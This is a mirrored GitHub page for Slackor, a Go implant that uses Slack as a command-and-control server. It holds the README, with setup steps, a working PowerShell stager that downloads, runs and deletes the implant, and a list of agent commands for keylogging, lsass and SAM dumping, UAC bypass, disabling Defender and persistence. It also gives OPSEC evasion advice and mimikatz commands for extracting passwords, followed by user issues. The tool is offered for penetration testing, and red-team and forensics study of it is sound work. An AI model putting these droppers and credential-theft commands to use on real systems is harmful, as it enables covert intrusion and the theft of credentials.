Code Monkey home page Code Monkey logo

coalfire-research / slackor Goto Github PK

View Code? Open in Web Editor NEW
455.0 17.0 111.0 1.58 MB

A Golang implant that uses Slack as a command and control server

Home Page: https://www.coalfire.com/The-Coalfire-Blog/June-2019/Introducing-Slackor

License: GNU General Public License v3.0

Shell 0.08% Python 98.61% Go 1.31% Batchfile 0.01%
pentest golang python c2 penetration-testing penetration-testing-tools remote-admin-tool command-and-control red-team

slackor's Introduction

Slackor #

Maintained at https://github.com/n00py/Slackor

A Golang implant that uses Slack as a command and control channel.

This project was inspired by Gcat and Twittor.

Slackor Screenshot Wireshark Screenshot This tool is released as a proof of concept. Be sure to read and understand the Slack App Developer Policy before creating any Slack apps.

Setup

Note: The server is written in Python 3

For this to work you need:

  • A Slack Workspace

  • Register an app with the following permissions:

    • channels:read
    • channels:history
    • channels:write
    • files:write:user
    • files:read
  • Create a bot

This repo contains five files:

  • install.sh Installs dependancies
  • setup.py The script to create the slack channels, database, and implant
  • agent.py Script to generate new implants
  • server.py The Slackor server, designed to be ran on Linux
  • agent.go The golang implant
  • requirements.txt Python dependencies (installed automatically)

To get started:

  • go get github.com/Coalfire-Research/Slackor
  • cd $GOPATH/src/github.com/Coalfire-Research/Slackor
  • Run install.sh
  • Run setup.py
    • Supply the OAuth Access Token and Bot User OAuth Access Token from your app

After running the script successfully, several files will be created in the dist/ directory:

  • agent.windows.exe: Windows 64-bit binary
  • agent.upx.exe: Windows 64-bit binary, UPX packed
  • agent.darwin: macOS 64-bit binary
  • agent.32.linux: Linux 32-bit binary
  • agent.64.linux: Linux 64-bit binary

After starting server.py on a Linux host, execute whichever agent above is appropriate for your target host.

Run the "stager" module to generate a one-liner and other droppers.

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

This will execute InvokeWebRequest(PS v.3+) to download the payload, execute it using a LOLBin, and then delete itself once killed. This is a working example but the command can tweaked to use another download method or execution method.

Usage

Type "help" or press [TAB] to see a list of available commands. type "help [COMMAND]" to see a description of that command.

(Slackor)

  • help - Displays help menu
  • interact - Interact with an agent
  • list - List all registered agents
  • remove - kill and remove an agent
  • revive - Sends a signal to all agents to re-register with the server
  • stager - Generates a one-liner to download an execute the implant
  • quit - Quit the program
  • wipefiles - Deletes all uploaded files out of Slack

Once an agent checks in, you can interact with it. Use "interact [AGENT] to enter into an agent prompt. Type "help" or press [TAB] to see a list of available commands.

(Slackor:AGENT)

  • Common Commands
    • back - Return to the main menu
    • beacon - change the amount of time between each check-in by an agent (default is 5 seconds)
    • download - Download a file from the agent to the Slackor server
    • help - Displays help menu
    • kill - Kill the agent
    • sleep - Cause the agent to sleep once (enter time in seconds)
    • sysinfo - Displays the current user, OS version, system architecture, and number of CPU cores
    • upload - Upload a file to the agent from the Slackor server
    • wget - Pull down arbitrary files over HTTP/HTTPS
  • Windows Commands
    • bypassuac - Attempts to spawn a high integrity agent
    • cleanup - Removes persistence artifacts
    • clipboard - Retreives the contents of the clipboard
    • defanger - Attempts to de-fang Windows Defender
    • duplicate - Causes the agent to spawn another invocation of itself
    • getsystem - Spawns an agent as NTAUTHORITY/SYSTEM
    • keyscan - Starts a keylogger on the agent
    • minidump - Dumps memory from lsass.exe and downloads it
    • persist - Creates persistence by implanting a binary in an ADS
    • samdump - Attempts to dump the SAM file for offline hash extraction
    • screenshot - Takes a screenshot of the desktop and retrieves it
    • shellcode - Executes x64 raw shellcode
  • Mac Commands
  • Linux Commands
    • screenshot - Takes a screenshot of the desktop and retrieves it

OPSEC Considerations

Command output and downloaded files are AES encrypted in addition to Slack's TLS transport encryption.

Modules will warn you before performing tasks that write to disk.
When executing shell commands, take note that cmd.exe/bash will be executed. This may be monitored on the host. Here are several OPSEC safe commands that will NOT execute cmd.exe/bash:

  • cat - prints file content
  • cd - change directory
  • find - search directory filenames
  • getip - Get external IP address (makes a DNS request)
  • hostname - Displays the name of the host
  • ifconfig - Displays interface information
  • ls - list directory contents
  • mkdir - Creates a directory
  • pwd - prints the current working directory
  • rm - removes a file
  • rmdir - removes a directory
  • whoami / getuid - prints the current user

Credits

Future goals

FAQ:

Is this safe to use for red teams/pentesting?

Yes, given some conditions. While the data is encrypted in transit, the agent contains the key for decryption. Anyone who acquires a copy of the agent could reverse engineer it and extract the API keys and the AES secret key. Anyone who compromises or otherwise gains access to the workspace would be able to retrieve all data within it. For this reason, it is not recommended to re-use infrastructure against multiple organizations.

What about Mimikatz?

The implant does not have in-memory password dumping functionality. If you need logonPasswords, you can try the following:

(Slackor: AGENT)minidump

THis will automically extract passwords with Pypykatz. Alternatively, you can use Mimikatz on Windows.

>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

Is it cross-platform?

It has limited cross-platform support. It has not been fully tested on all of the systems it can be run on. The server was designed to run on Kali Linux. The agent is compiled for Windows, Mac, and Linux, but has primarily been tested with Windows 10. Agents may mishandle commands which are not supported by that agent's platform (don't try to minidump a Mac).

How well does it scale?

Scalability is limited by the Slack API. If you have multiple agents, consider increasing the beacon interval of beacons not in use.

Is it vulnerable to standard beacon analysis?

Currently each beacon has 20% jitter built in, and beacon times can be customized. Agent check-in request and response packets will be about the same size each time as long as no new commands are recieved.

Why did you do [x] when a better way to do it is [y]?

I tried my best. PRs are encouraged :)

It gets caught by AV!

With this being open source now, it's bound to have issues. I'll fix modules as I can but there is no guarantee this will bypass all AV at all times.

slackor's People

Contributors

lokiuox avatar n00py avatar sporkmonger avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

slackor's Issues

Commands that will generate noise

This isn't an issue but a question on usage. I'm looking to utilize this with a class in Forensics that I teach, so I want to generate some artifacts on my fake host with this system.

In the readme you have:

"Modules will warn you before performing tasks that write to disk.
When executing shell commands, take note that cmd.exe will be executed. This may be monitored on the host."

Which modules will write to disk? Are you talking about download files with the wget command, running the keylogger, etc?

I have everything set up and running, and I tested it on one of my Windows 10 machines, but now I need to get it set up for my fake host, so I'm looking for commands that will produce some type of artifact on the system running the agent.exe.

Side note, thank you for writing this, it was exactly what I was looking for with my class. Bonus that it uses Go and Python....although I had to tweak your install.sh file to run on my system (I already had Go set up).

Null Bytes in source code?

I tried to run server.py and i am always met with the following error

Traceback (most recent call last):
File "server.py", line 17, in
from SpookFlare.lib import sfhta,sfvba
ValueError: source code string cannot contain null bytes

I tried looking in the file to find the nullbytes but couldnt find anything.

So far I have attempted to use sed to try to resolved this issue to attmept to remove the null bytes. But no matter what I do I still have nullbytes. I am sure this is something simpl I missed. Any help would be appreciated.

Slackor cant start

After install it on a Kali Linux 19.02, set API keys, Slackor cant start.

I tried with python, and python3, as follows:

root@sfsquad:/Tools/03.Exploitation/C2/Slackor# python3 server.py
Traceback (most recent call last):
File "server.py", line 14, in
from prettytable import PrettyTable
ModuleNotFoundError: No module named 'prettytable'
root@sfsquad:
/Tools/03.Exploitation/C2/Slackor# ./server.py
from: too many arguments
from: too many arguments
from: too many arguments
from: too many arguments
from: too many arguments
./server.py: line 16: try:: command not found
from: too many arguments
./server.py: line 18: except: command not found
./server.py: line 19: syntax error near unexpected token "WARNING: SpookFlare not found, clone with \"--recursive\" to be able to generate all stager types."' ./server.py: line 19: print("WARNING: SpookFlare not found, clone with "--recursive" to be able to generate all stager types.")'
root@sfsquad:/Tools/03.Exploitation/C2/Slackor# python server.py
File "server.py", line 1186
SyntaxError: Non-ASCII character '\xe2' in file server.py on line 1187, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details
root@sfsquad:
/Tools/03.Exploitation/C2/Slackor#

docker

Have you considered developing docker?

AES CBC w/ fixed IV

Generally not something you want to do. Likely doesn't matter that much given that both the key and IV are baked in, so the current encryption scheme is already just a speed bump, but figured it was worth mentioning at least. I might give the cryptography some reworking a little further down the line.

How to install slackor in ubuntu?

Excuse me,How to install slackor in ubuntu16.04?
root@vultr:/Slackor-master# python3 -V
Python 3.5.2
root@vultr:
/Slackor-master# pip3 -V
pip 19.1.1 from /usr/local/lib/python3.5/dist-packages/pip (python 3.5)
I'm going to run install.sh,but then this happened:
root@vultr:~/Slackor-master# ./install.sh
Reading package lists... Done
Building dependency tree
Reading state information... Done
golang is already the newest version (2:1.6-1ubuntu4).
xterm is already the newest version (322-1ubuntu1).
upx-ucl is already the newest version (3.91-1).
git is already the newest version (1:2.7.4-0ubuntu1.6).
python3-pip is already the newest version (8.1.1-2ubuntu0.4).
0 upgraded, 0 newly installed, 0 to remove and 62 not upgraded.
package github.com/kbinani/screenshot: cannot download, $GOPATH not set. For more details see: go help gopath
package github.com/lxn/win: cannot download, $GOPATH not set. For more details see: go help gopath
package golang.org/x/sys/windows: cannot download, $GOPATH not set. For more details see: go help gopath
package github.com/atotto/clipboard: cannot download, $GOPATH not set. For more details see: go help gopath
package github.com/miekg/dns: cannot download, $GOPATH not set. For more details see: go help gopath
package github.com/bmatcuk/doublestar: cannot download, $GOPATH not set. For more details see: go help gopath
Collecting pycrypto (from -r requirements.txt (line 1))
Using cached https://files.pythonhosted.org/packages/60/db/645aa9af249f059cc3a368b118de33889219e0362141e75d4eaf6f80f163/pycrypto-2.6.1.tar.gz
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (2.9.1)
Collecting prettytable (from -r requirements.txt (line 3))
Using cached https://files.pythonhosted.org/packages/ef/30/4b0746848746ed5941f052479e7c23d2b56d174b82f4fd34a25e389831f5/prettytable-0.7.2.tar.bz2
Collecting pypykatz (from -r requirements.txt (line 4))
ERROR: Could not find a version that satisfies the requirement pypykatz (from -r requirements.txt (line 4)) (from versions: none)
ERROR: No matching distribution found for pypykatz (from -r requirements.txt (line 4))
./install.sh: line 11: python: command not found

Slackor is a great tool,I hope you can tell me how to use slackor in ubuntu16.04,thank you!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.